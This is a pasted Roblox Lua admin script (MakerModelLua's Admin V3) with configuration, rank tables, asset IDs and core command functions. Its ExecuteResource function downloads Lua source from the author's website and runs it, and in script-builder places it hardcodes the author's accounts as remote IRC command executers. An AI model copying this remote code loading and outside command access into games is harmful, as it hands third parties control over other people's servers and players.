Guest User

Untitled

a guest
Sep 23rd, 2018
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 372.80 KB | None | 0 0
  1. --[[
  2. Hi! This is LuaModelMaker's Admin V3 by MakerModelLua.
  3. If you want to know what commands do just go into your game and say ;cmds for a list of
  4. commands, what they do, examples, rank needed, and more!
  5. Or, go to http://www.classy-studios.com/V3/Commands.php
  6. If you have an Apple device, download the app here: http://appsto.re/us/37_qgb.i
  7.  
  8.  
  9. TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4&list=PLSO-IUKJXZvjJKLTomz7NnuJ6syW9JWH1
  10.  
  11. --->> DO NOT EDIT THESE SETTINGS <<---
  12. Well you can but it's a waste of your time. The settings are located in workspace
  13. in a folder called "MakerModelLua's Settings". You can also use this plugin:
  14.  
  15. http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
  16.  
  17. USE REMOTE ADMIN:
  18. http://www.classy-studios.com/Login/
  19. Mobile: http://appsto.re/us/hEn7fb.i
  20.  
  21.  
  22.  
  23. ...also... this is open source! No stupid shady module scripts, which means it works in studio!
  24.  
  25. ]]
  26.  
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44.  
  45.  
  46.  
  47.  
  48.  
  49. -- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
  50.  
  51.  
  52. local Settings = {
  53. Ranks = {
  54. ["Owner"] = {849841984_00000};
  55. ["Admin"] = {};
  56. ["Member"] = {};
  57. ["Banned"] = {};
  58. ["Crashed"] = {};
  59. ["Muted"] = {};
  60. };
  61.  
  62. Prefix = ";";
  63. Bet = " ";
  64. MinimumAge = 0;
  65. ServerLocked = false;
  66. ColorScheme = "White";
  67. TransparencyScheme = 50;
  68. Fun = true;
  69. EnableAdminMenu = true;
  70. EnableTaskBar = true;
  71. FreeAdmin = false;
  72. Font = "Arial";
  73.  
  74. DisableAbuse = false;
  75. AbuseList = {"kill", "punish", "respawn", "blind", "flash", "control", "loopfling", "explode", "change", "decal", "sink", "damage"};
  76. AbusableGear = {};
  77.  
  78. LinkedAccount = "";
  79. DataKey = "";
  80.  
  81. ExecuteNotificationSound = 0; --177578949
  82. EnableSounds = true;
  83.  
  84. VIPMemberID = 0;
  85. VIPAdminID = 0;
  86.  
  87. GroupID = 0;
  88. GroupBanRank = 0;
  89. GroupMemberRank = 0;
  90. GroupAdminRank = 0;
  91. GroupOwnerRank = 0;
  92. GroupRankBan = 0;
  93. BannedGroupIDs = {};
  94.  
  95. IRCServer = "";
  96. IRCChannel = "";
  97. IRCCommandExecuters = {};
  98.  
  99. TrelloToken = ""
  100. }
  101.  
  102. local Colors = {
  103. ["WHITE"] = Color3.new(1,1,1);
  104. ["BLACK"] = Color3.new(0,0,0);
  105. ["GRAY"] = Color3.new(0.5,0.5,0.5);
  106. ["RED"] = Color3.new(1,0,0);
  107. ["GREEN"] = Color3.new(0,1,0);
  108. ["BLUE"] = Color3.new(0,0,1);
  109. ["YELLOW"] = Color3.new(1,1,0);
  110. ["PINK"] = Color3.new(1,0,1);
  111. ["MAGENTA"] = Color3.new(1,0,1);
  112. ["CYAN"] = BrickColor.new("Cyan").Color;
  113. ["TEAL"] = BrickColor.new("Teal").Color;
  114. ["BROWN"] = Color3.new(0.55,0.25,0.075);
  115. ["PURPLE"] = Color3.new(0.5,0,0.5);
  116. ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
  117. }
  118.  
  119. local Server = {
  120. Workspace = game:GetService("Workspace");
  121. Players = game:GetService("Players");
  122. Lighting = game:GetService("Lighting");
  123. MPS = game:GetService("MarketplaceService");
  124. TS = game:GetService("TeleportService");
  125. HS = game:GetService("HttpService");
  126. RS = game:GetService("RunService");
  127. PS = game:GetService("PointsService");
  128. TestS = game:GetService("TestService");
  129. IS = game:GetService("InsertService");
  130. Teams = game:GetService("Teams");
  131. Data = game:GetService("DataStoreService");
  132. GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
  133. NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
  134. Storage = game:GetService("ServerStorage");
  135. RS = game:GetService("ReplicatedStorage");
  136. AS = game:GetService("AssetService");
  137. }
  138.  
  139. local Icons = {
  140. ["Message"] = 7724351;
  141. ["Error"] = 94011556;
  142. ["Information"] = 144175130;
  143. ["Check"] = 132769976;
  144. ["Search"] = 61994930;
  145. ["Time"] = 136391033;
  146. ["Notice"] = 156507320;
  147. ["Sound"] = 164682936;
  148. ["Log"] = 70650545;
  149. ["Question"] = 41363872;
  150. ["Output"] = 11481605;
  151. ["Admin"] = 302470270;
  152. ["Lock"] = 11341626;
  153. ["Settings"] = 131064748;
  154. ["Map"] = 257119661;
  155. ["Plugin"] = 257097414;
  156. }
  157.  
  158. local IRC = {
  159. Codes = {
  160. ["001"] = "RPL_WELCOME",
  161. ["002"] = "RPL_YOURHOST",
  162. ["003"] = "RPL_CREATED",
  163. ["004"] = "RPL_MYINFO",
  164. ["005"] = "RPL_ISUPPORT",
  165. ["250"] = "RPL_STATSCONN",
  166. ["251"] = "RPL_LUSERCLIENT",
  167. ["252"] = "RPL_LUSEROP",
  168. ["254"] = "RPL_LUSERCHANNELS",
  169. ["255"] = "RPL_LUSERME",
  170. ["265"] = "RPL_LOCALUSERS",
  171. ["266"] = "RPL_GLOBALUSERS",
  172. ["352"] = "RPL_WHOREPLY",
  173. ["371"] = "RPL_INFO",
  174. ["372"] = "RPL_MOTD",
  175. ["374"] = "RPL_ENDINFO",
  176. ["375"] = "RPL_MOTDSTART",
  177. ["376"] = "RPL_ENDOFMOTD",
  178. ["422"] = "ERR_NOMOTD",
  179. },
  180. Ignore = {
  181. ["004"] = true,
  182. ["005"] = true,
  183. };
  184. Users = {};
  185. Logs = {};
  186. Chats = {};
  187. Forms = {};
  188. MessageAdded = Instance.new("BindableEvent");
  189.  
  190. Servers = {
  191. ["esper.net"] = {
  192. BaseUrl = "http://webchat.esper.net/";
  193. DynamicUrl = "";
  194. };
  195. ["quakenet.org"] = {
  196. BaseUrl = "http://webchat.quakenet.org/";
  197. DynamicUrl = "dynamic/leibniz",
  198. };
  199. ["swiftirc.net"] = {
  200. BaseUrl = "http://qwebirc.swiftirc.net/";
  201. DynamicUrl = "",
  202. };
  203. };
  204. NickName = "rbxMMLV3_"..math.random(1,100000);
  205.  
  206. SessionCounter = 0;
  207. Connected = false;
  208. Stop = false;
  209. SessionID = "";
  210. }
  211.  
  212. local RankHUD = {
  213. ["Muted"] = 202180094;
  214. ["Non-Admin"] = 202180121;
  215. ["Member"] = 202180052;
  216. ["Admin"] = 202180015;
  217. ["Owner"] = 202179988;
  218. }
  219.  
  220. local TextConverter = {
  221. LetterSounds = {
  222. ["a"] = {223757826, nil}; -- 203343899
  223. ["b"] = {223533700, 0.2}; -- 203344029
  224. ["c"] = {223533711, nil}; -- 203343994
  225. ["d"] = {223757910, nil}; -- 203398237
  226. ["e"] = {223758026, nil}; -- 203398295
  227. ["f"] = {223777655, nil}; -- 203398347
  228. ["g"] = {223777738, nil}; -- 203398372
  229. ["h"] = {223777757, nil}; -- 203398397
  230. ["i"] = {223777807, nil}; -- 203398422
  231. ["j"] = {223782888, nil}; -- 203398450
  232. ["k"] = {223533711, nil}; -- 203343994
  233. ["l"] = {223782961, 0.4}; -- 203398541
  234. ["m"] = {223782992, nil}; -- 203398578
  235. ["n"] = {223783063, nil}; -- 203398599
  236. ["o"] = {223783184, nil}; -- 203398611
  237. ["p"] = {223783235, nil}; -- 203398727
  238. ["q"] = {223783260, nil}; -- 203398755
  239. ["r"] = {223783305, 0.2}; -- 203398792
  240. ["s"] = {223783377, nil}; -- 203398806
  241. ["t"] = {223783446, nil}; -- 203398850
  242. ["u"] = {223783512, nil}; -- 203398872
  243. ["v"] = {223783654, nil}; -- 203398965
  244. ["w"] = {223783697, nil}; -- 203398984
  245. ["x"] = {223783796, nil}; -- 203399008
  246. ["y"] = {223783853, nil}; -- 203399043
  247. ["z"] = {223783893, nil}; -- 203399096
  248.  
  249. ["ch"] = {223784367, 0.3}; -- 203592149
  250. ["th"] = {223788235, 0.3}; -- 203399215
  251. ["sh"] = {223784505, 0.2}; -- 203399566
  252. ["wh"] = {223784555, 0.3}; -- 203622828
  253. ["oo"] = {223784456, 0.3}; -- 203399743
  254. ["ing"] = {223784393, 0.3}; -- 203402836
  255. };
  256.  
  257. LongVowels = {
  258. ["a"] = {223533687, nil}; -- 203343932
  259. ["e"] = {223777620, nil}; -- 203398314
  260. ["i"] = {223777855, nil}; -- 203398440
  261. ["o"] = {223783212, nil}; -- 203398619
  262. ["u"] = {223783572, nil}; -- 203398897
  263. };
  264.  
  265. Pronounce = {
  266. ["0"] = "zero";
  267. ["1"] = "wun";
  268. ["2"] = "too";
  269. ["3"] = "three";
  270. ["4"] = "four";
  271. ["5"] = "five";
  272. ["6"] = "six";
  273. ["7"] = "seven";
  274. ["8"] = "eyt";
  275. ["9"] = "nine";
  276. ["one"] = "wun";
  277. ["two"] = "too";
  278. ["eight"] = "eyt";
  279. ["eigh"] = "ey";
  280. ["gh"] = "h";
  281. ["kn"] = "n";
  282. ["come"] = "cu".."m";
  283. ["bye"] = "bi";
  284. ["#"] = "hashtag";
  285. ["@"] = "at";
  286. ["&"] = "and";
  287. ["*"] = "astrict";
  288. ["mn"] = "m";
  289. ["kn"] = "n";
  290. ["ies"] = "ees";
  291. };
  292.  
  293. NonEnglishRules = {
  294. ["to"] = "too";
  295. ["you"] = "yoo";
  296. ["we"] = "wee";
  297. ["are"] = "erh";
  298. ["your"] = "yoor";
  299. ["you're"] = "yoor";
  300. ["youre"] = "yoor";
  301. ["pizza"] = "peetzoh";
  302. ["ok"] = "okay";
  303. ["have"] = "hav";
  304. ["my"] = "mi";
  305. ["me"] = "mee";
  306. ["u"] = "yoo";
  307. ["r"] = "erh";
  308. ["move"] = "moov";
  309. ["dove"] = "duv";
  310. ["debris"] = "debree";
  311. ["do"] = "doo";
  312. }
  313. }
  314.  
  315. local HTMLDecode = {
  316. ["35"] = "#";
  317. ["36"] = "$";
  318. ["37"] = "%%";
  319. ["38"] = "*";
  320. ["39"] = "'";
  321. ["58"] = ":";
  322. ["59"] = ";";
  323. ["60"] = "<";
  324. ["62"] = ">";
  325. }
  326.  
  327.  
  328. local Assets = {
  329. Packages = {
  330. [27112438] = {27112025,27112039,27112052,27112056,27112068};
  331. [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
  332. [77518833] = {77518564,77518616,77518654,77518696,77518737};
  333. [32336368] = {32336059,32336117,32336182,32336243,32336306};
  334. [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
  335. [54116460] = {54116290,54116338,54116373,54116394,54116432};
  336. [39977366] = {39976703,39976829,39976927,39977192,39977295};
  337. [32357766] = {32357663,32357631,32357619,32357584,32357558};
  338. [27123973] = {27121265,27121306,27121353,27121393,27121432};
  339. [55717536] = {55717271,55717330,55717388,55717434,55717491};
  340. [28279963] = {28279160,28279217,28279859,28279894,28279938};
  341. [27403592] = {27402580,27402546,27402641,27402714,27402742};
  342. [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
  343. [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
  344. [48474394] = {48474356,48474294};
  345. [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
  346. [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
  347. [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
  348. [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
  349. [33378577] = {33378366,33378438,33378484,33378522,33378540};
  350. [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
  351. [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
  352. [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
  353. [41851073] = {41850825,41850868,41850915,41851009,41850959}
  354. };
  355. AssetTypes = {
  356. [0] = "Product";
  357. [1] = "Image";
  358. [2] = "T-Shirt";
  359. [3] = "Audio";
  360. [4] = "Mesh";
  361. [5] = "Lua";
  362. [6] = "HTML";
  363. [7] = "Text";
  364. [8] = "Hat";
  365. [9] = "Place";
  366. [10] = "Model";
  367. [11] = "Shirt";
  368. [12] = "Pants";
  369. [13] = "Decal";
  370. [16] = "Avatar";
  371. [17] = "Head";
  372. [18] = "Face";
  373. [19] = "Gear";
  374. [21] = "Badge";
  375. [22] = "Group Emblem";
  376. [24] = "Animation";
  377. [25] = "Arms";
  378. [26] = "Legs";
  379. [27] = "Torso";
  380. [28] = "Right Arm";
  381. [29] = "Left Arm";
  382. [30] = "Left Leg";
  383. [31] = "Right Leg";
  384. [32] = "Package";
  385. [33] = "YouTube Video";
  386. [34] = "Game Pass";
  387. [38] = "Plugin";
  388. [39] = "SolidModel";
  389. [40] = "MeshPart";
  390. [41] = "Hair Accessory";
  391. [42] = "Face Accessory";
  392. [43] = "Neck Accessory";
  393. [44] = "Shoulder Accessory";
  394. [45] = "Front Accessory";
  395. [46] = "Back Accessory";
  396. };
  397. AccessoryTypes = {
  398. ["all"] = 19;
  399. ["hats"] = 9;
  400. ["hair"] = 20;
  401. ["face"] = 21;
  402. ["neck"] = 22;
  403. ["shoulder"] = 23;
  404. ["front"] = 24;
  405. ["back"] = 25;
  406. ["waist"] = 26;
  407. };
  408. }
  409.  
  410. local CharacterCache = {
  411. {"MakerModelLua", 38837082};
  412. {"LuaModelMaker", 20920633};
  413. {"builderman", 156};
  414. {"Shedletsky", 261};
  415. {"Telamon", 13645};
  416. {"ROBLOX", 1};
  417. }
  418.  
  419. local FaceCovert = {
  420. Left = "xpos";
  421. Right = "xneg";
  422. Front = "zpos";
  423. Back = "zneg";
  424. Top = "ypos";
  425. Bottom = "yneg";
  426. }
  427.  
  428. local Meshes = {
  429. ["crown"] = {1, 1078075};
  430. ["king"] = {1, 11419761};
  431. ["teapot"] = {0.03, 1029523};
  432. ["apple"] = {2.5, 16190555};
  433. ["potato"] = {1, 25268275};
  434. ["panda"] = {0.5, 20709221};
  435. ["dominus"] = {0.5, 21057410};
  436. ["fedora"] = {0.75, 13640868};
  437. ["noob"] = {1, 20929341};
  438. ["knife"] = {0.3, 121944778};
  439. ["book"] = {0.3, 1136139};
  440. }
  441.  
  442. local NotifySounds = {
  443. ["Hover"] = 223134269;
  444. ["Select"] = 292141227;
  445. }
  446.  
  447. local Trello = {
  448. TrelloInfoCard = "x1rUtwEj";
  449. MainBoard = {};
  450. RequiredLists = {};
  451. RankChecklistCache = {};
  452. ToggleChecklist = nil;
  453. CommandID = nil;
  454. LastCommandDT = 0;
  455. AdminBoardID = "577ea1b21cb7975666524f26";
  456. RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
  457. RemoteDataCard = "dLtMo1en"
  458. }
  459.  
  460. local ScriptBuilders = {
  461. [260897989] = "MML's";
  462. [21053279] = "Anti's pub";
  463. [21053219] = "Anti's pri";
  464. [20279777] = "Void's 1";
  465. [437965235] = "Void's 2";
  466. [227015991] = "Vox's";
  467. [210101277] = "Master's";
  468. [531937877] = "Bleu pigs";
  469. [519251450] = "Game's";
  470. }
  471.  
  472. -- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
  473. -- Why else would I NOT have put it in a module?!?!?
  474.  
  475. local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
  476.  
  477. local SoundList,GlobalSoundList = {},{}
  478. local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
  479. local TempChatLogs = {}
  480. local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
  481. local NoSpeak = false
  482.  
  483. local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
  484. local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
  485.  
  486. local ChatLogs,CommandLogs = {},{}
  487. local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
  488. local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
  489. local Dispose,Jails,PermCommandBars = {},{},{}
  490. local Waypoints = {["Center"] = Vector3.new(0,0,0)}
  491. local Objects = {}
  492. local Sound = nil
  493. local ModLighting = false
  494. local DataReady = true
  495. local RemoteAbuseGear = {}
  496.  
  497. local GameOwner = "[ Client ]"
  498. local PlaceName = "Unknown"
  499. local PlaceInfo = {}
  500. local IsStudio = false
  501. local IsSB = false
  502. local Date = nil
  503. local Fonts = {}
  504. local PendingRequests = {}
  505. local F3X = script:FindFirstChild("F3X Tools")
  506. local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
  507. local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
  508. local KeyBinds = {}
  509. local Crowns = {}
  510. local LastKeys = {}
  511. local Cars = {}
  512. local StringReplacements = {}
  513. local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
  514. local NoBet = {"/", "-", "(", ")", ""}
  515. local ShouldFilter = true
  516.  
  517. local CrownStorage = script:FindFirstChild("CrownStorage")
  518. if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
  519.  
  520. -- import old settings just in case --
  521. local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
  522. if OldSettings then
  523. OldSettings = require(OldSettings)
  524.  
  525. for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
  526. Settings[ValName] = OldSettings[ValName]
  527. end
  528. Settings.GroupBanRank = OldSettings.RankBan
  529. Settings.Fun = OldSettings.FUN
  530. end
  531.  
  532. if F3X then
  533. F3X = F3X:Clone()
  534. F3X.Handle.Anchored = false
  535. script:FindFirstChild("F3X Tools"):Destroy()
  536. end
  537.  
  538. wait(0.1)
  539.  
  540. local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
  541. -- tries to defualt to server storage, just in case an exploiter makes their own settings.
  542.  
  543. if SettingsValues then
  544. SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
  545. if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
  546. for _,Value in pairs(SettingsValues:GetChildren()) do
  547. if Settings[Value.Name] ~= nil then
  548. if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
  549. for _,NewValue in pairs(Value:GetChildren()) do
  550. if ypcall(function() return NewValue.Value end) then
  551. if Settings[Value.Name][NewValue.Name] then
  552. local Val = NewValue.Value
  553. if type(Settings[Value.Name][NewValue.Name]) == "table" then
  554. Val = {}
  555. for Word in string.gmatch(NewValue.Value, "[%w_]+") do
  556. table.insert(Val, Word)
  557. end
  558. end
  559. Settings[Value.Name][NewValue.Name] = Val
  560. end
  561. end
  562. end
  563. else
  564. if Settings[Value.Name] ~= nil then
  565. local Val = Value.Value
  566. if type(Settings[Value.Name]) == "table" then
  567. Val = {}
  568. for Word in string.gmatch(Value.Value, "%w+") do
  569. table.insert(Val, Word)
  570. end
  571. end
  572. Settings[Value.Name] = Val
  573. end
  574. end
  575. end
  576. end
  577. end
  578. end
  579.  
  580. if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
  581. Settings.LinkedAccount = ""
  582. elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
  583. Settings.LinkedAccount = "Admin"
  584. end
  585.  
  586. local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
  587. local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
  588.  
  589. wait(1)
  590.  
  591. local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
  592.  
  593. if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
  594.  
  595. if not IsStudio then
  596. Server.NS = game:GetService("NetworkServer")
  597. script.Name = "Maker".."Mo".."delLua's Admin".."Modded"
  598. end
  599.  
  600. if game.PlaceId > 0 then
  601. PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
  602. PlaceName = PlaceInfo.Name
  603. end
  604.  
  605. local function GetGameOwner()
  606. if PlaceInfo.Creator.CreatorType == "Group" then
  607. GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
  608. print("MML's Admin: Found group owner for game: "..GameOwner)
  609. elseif PlaceInfo.Creator.CreatorType == "User" then
  610. GameOwner = PlaceInfo.Creator.Name
  611. print("MML's Admin: Found game owner: "..GameOwner)
  612. else
  613. ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
  614. end
  615. end
  616.  
  617. if string.byte(string.sub(PlaceName,1,1)) == 226 then
  618. PlaceName = string.sub(PlaceName,4,#PlaceName)
  619. end
  620. for i = 1,5 do
  621. if GameOwner == "[ Client ]" then
  622. print("MML's Admin: Attempting to establish owner's name #"..i)
  623. GetGameOwner()
  624. wait(1)
  625. end
  626. end
  627.  
  628. if ScriptBuilders[PlaceID] or NLS then
  629. IsSB = true
  630. end
  631.  
  632. if IsSB then
  633. ShouldFilter = false
  634. Settings.IRCServer = "swiftirc.net";
  635. Settings.IRCChannel = "#PkamaraSB";
  636. Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
  637. if Settings.TrelloToken == "" then
  638. Settings.LinkedAccount = "ScriptBuilder"
  639. end
  640. if Settings.DataKey == "" then coroutine.wrap(function()
  641. repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
  642. local Key = Server.Storage:FindFirstChild("MML DataKey")
  643. print("Found key: "..Key.Value)
  644. Settings.DataKey = Key.Value
  645. Key:Destroy()
  646. end)() end
  647. end
  648. local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
  649. table.insert(Settings.Ranks["Owner"], GameOwner)
  650.  
  651. for _,Font in pairs(Enum.Font:GetEnumItems()) do
  652. Fonts[Font.Name] = Font
  653. end
  654.  
  655. local LogClient = script:FindFirstChild("AddClientInfo")
  656. if LogClient then LogClient:Destroy() end
  657. LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
  658. LogClient.OnServerInvoke = function(Player, Info)
  659. if Info then
  660. for Key,Data in pairs(Info) do
  661. ClientInfo[Player.Name][Key] = Data
  662. end
  663. end
  664. end
  665.  
  666. local function MakeFunction(Type, Name)
  667. local Func = script:FindFirstChild(Name)
  668. if Func then Func:Destroy() end
  669. Func = Instance.new(Type, script) Func.Name = Name
  670.  
  671. getfenv()[Name] = Func
  672. return Func
  673. end
  674.  
  675. MakeFunction("BindableFunction", "ExecuteCommand")
  676. MakeFunction("RemoteFunction", "ExecuteCommandClient")
  677. MakeFunction("BindableFunction", "ExecuteCode")
  678.  
  679. MakeFunction("RemoteFunction", "IsAdmin")
  680. MakeFunction("RemoteFunction", "AddExploit")
  681. MakeFunction("BindableFunction", "AddExploitServer")
  682. MakeFunction("RemoteFunction", "KickClient")
  683. MakeFunction("RemoteFunction", "ConvertTextToSound")
  684.  
  685. MakeFunction("RemoteFunction", "KeyPressed")
  686. MakeFunction("RemoteFunction", "InputKey")
  687.  
  688. MakeFunction("RemoteFunction", "RankPlayerLocal")
  689. MakeFunction("BindableFunction", "RankPlayerServer")
  690.  
  691. --[[
  692. if NLS then
  693. local Value = script:FindFirstChild("Override")
  694. LogClient.Parent = game
  695. if not Value then
  696. local Value = Instance.new("BoolValue", script) Value.Name = "Override"
  697. local CloneScript = script:Clone()
  698. CloneScript.Disabled = true
  699. CloneScript.Parent = game:FindFirstChild("ServerScriptService")
  700. CloneScript.Disabled = false
  701. CloneScript.Parent = nil
  702.  
  703. script:Destroy() script.Disabled = true
  704. end
  705. end
  706. ]]
  707.  
  708. if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
  709.  
  710. IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
  711.  
  712. -- Core functions --
  713.  
  714. function CORE:FixSettings()
  715. for _,Bet in pairs(NoBet) do
  716. if Settings.Bet == Bet then
  717. Settings.Bet = " "
  718. break
  719. end
  720. end
  721. CORE:ChangeBet(Settings.Bet)
  722.  
  723. if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
  724. if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
  725.  
  726. if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
  727. if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
  728. Settings.TransparencyScheme = Settings.TransparencyScheme/100
  729.  
  730. if not Fonts[Settings.Font] then
  731. Settings.Font = "Arial"
  732. end
  733. end
  734.  
  735. function CORE:NilPlayer(Player)
  736. if Player == nil or type(Player) == "table" then return true else return false end
  737. end
  738.  
  739. function CORE:ExecuteResource(ResourceName, Parent, Data)
  740. local ReturnScript = nil
  741. local Executed = true
  742. if script:FindFirstChild("Resources") then
  743. local RawResource = script.Resources:FindFirstChild(ResourceName)
  744. if RawResource then
  745. local Resource = RawResource:Clone()
  746. Resource.Disabled = true
  747. Resource.Parent = Parent
  748. if Data then
  749. for Key,Value in pairs(Data) do
  750. if Resource[Key] then
  751. Resource[Key].Value = Value
  752. end
  753. end
  754. end
  755. wait()
  756. Resource.Disabled = false
  757. ReturnScript = Resource
  758. else
  759. Executed = false
  760. end
  761. else
  762. Executed = false
  763. end
  764. if Executed == false then
  765. if not Data then Data = {} end
  766. local Source = ScriptCache[ResourceName]
  767.  
  768. if not Source then
  769. Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
  770. if Source then
  771. ScriptCache[ResourceName] = Source
  772. end
  773. end
  774.  
  775. if Data and Source then
  776. for Key,Value in pairs(Data) do
  777. Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
  778. end
  779. end
  780.  
  781. if Source then
  782. if NLS then
  783. ReturnScript = NLS(Source, Parent)
  784. elseif createLocalScriptWithSource then
  785. ReturnScript = createLocalScriptWithSource(Source)
  786. ReturnScript.Parent = Parent
  787. end
  788. end
  789. end
  790. return ReturnScript
  791. end
  792.  
  793. function CORE:CreateRemotePropertyReader(Obj, Override)
  794. if Server.Workspace.FilteringEnabled == true or Override then
  795. local Reader = Instance.new("RemoteFunction", Obj)
  796. Reader.Name = "RemotePropertyReader"
  797. CORE:ExecuteResource("RemotePropertyReader", Reader)
  798. return Reader
  799. else
  800. return Obj
  801. end
  802. end
  803.  
  804. function CORE:ReadProperty(Reader, Player, Property)
  805. if Reader:IsA("RemoteFunction") then
  806. return Reader:InvokeClient(Player, Property)
  807. else
  808. return Reader[Property]
  809. end
  810. end
  811.  
  812. function CORE:WriteProperty(Reader, Player, Property, Value)
  813. if Reader:IsA("RemoteFunction") then
  814. return Reader:InvokeClient(Player, Property, Value)
  815. else
  816. return Reader[Property]
  817. end
  818. end
  819.  
  820.  
  821. function CORE:CreateRemoteEvent(Obj, EventName)
  822. local Event = Instance.new("RemoteEvent", Obj)
  823. Event.Name = "RemoteEvent_"..EventName
  824. CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
  825. return Event
  826. end
  827.  
  828. function CORE:HandleEvent(Obj, EventName, Func, NewThread)
  829. local function Handle()
  830. if Server.Workspace.FilteringEnabled == true then
  831. local Event = CORE:CreateRemoteEvent(Obj, EventName)
  832. return Event.OnServerEvent:connect(function(Player, ...)
  833. Func(...)
  834. end)
  835. else
  836. return Obj[EventName]:connect(Func)
  837. end
  838. end
  839. if NewThread then
  840. Spawn(Handle)
  841. else
  842. Handle()
  843. end
  844. end
  845.  
  846. function CORE:HandleError(Error, Speaker)
  847. local Return = ""
  848. if not Error or Error == "" then
  849. Return = "Unknown Error"
  850. else
  851. Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
  852. end
  853. if Speaker then
  854. GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
  855. end
  856. return Return
  857. end
  858.  
  859. local function ExecuteSafe(Source, Speaker) -- no CORE
  860. local Script, Error = loadstring(Source)
  861. if Error then
  862. return false, CORE:HandleError(Error, Speaker)
  863. else
  864. getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
  865. getfenv(Script).Server, getfenv(Script).script = Server,script
  866. if Speaker then
  867. getfenv(Script).print = function(...)
  868. GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
  869. end
  870. getfenv(Script).print_array = function(List)
  871. if type(List) == "table" then
  872. GUI:ListGui(Speaker, "Listed Table", List, "Output")
  873. end
  874. end
  875. end
  876.  
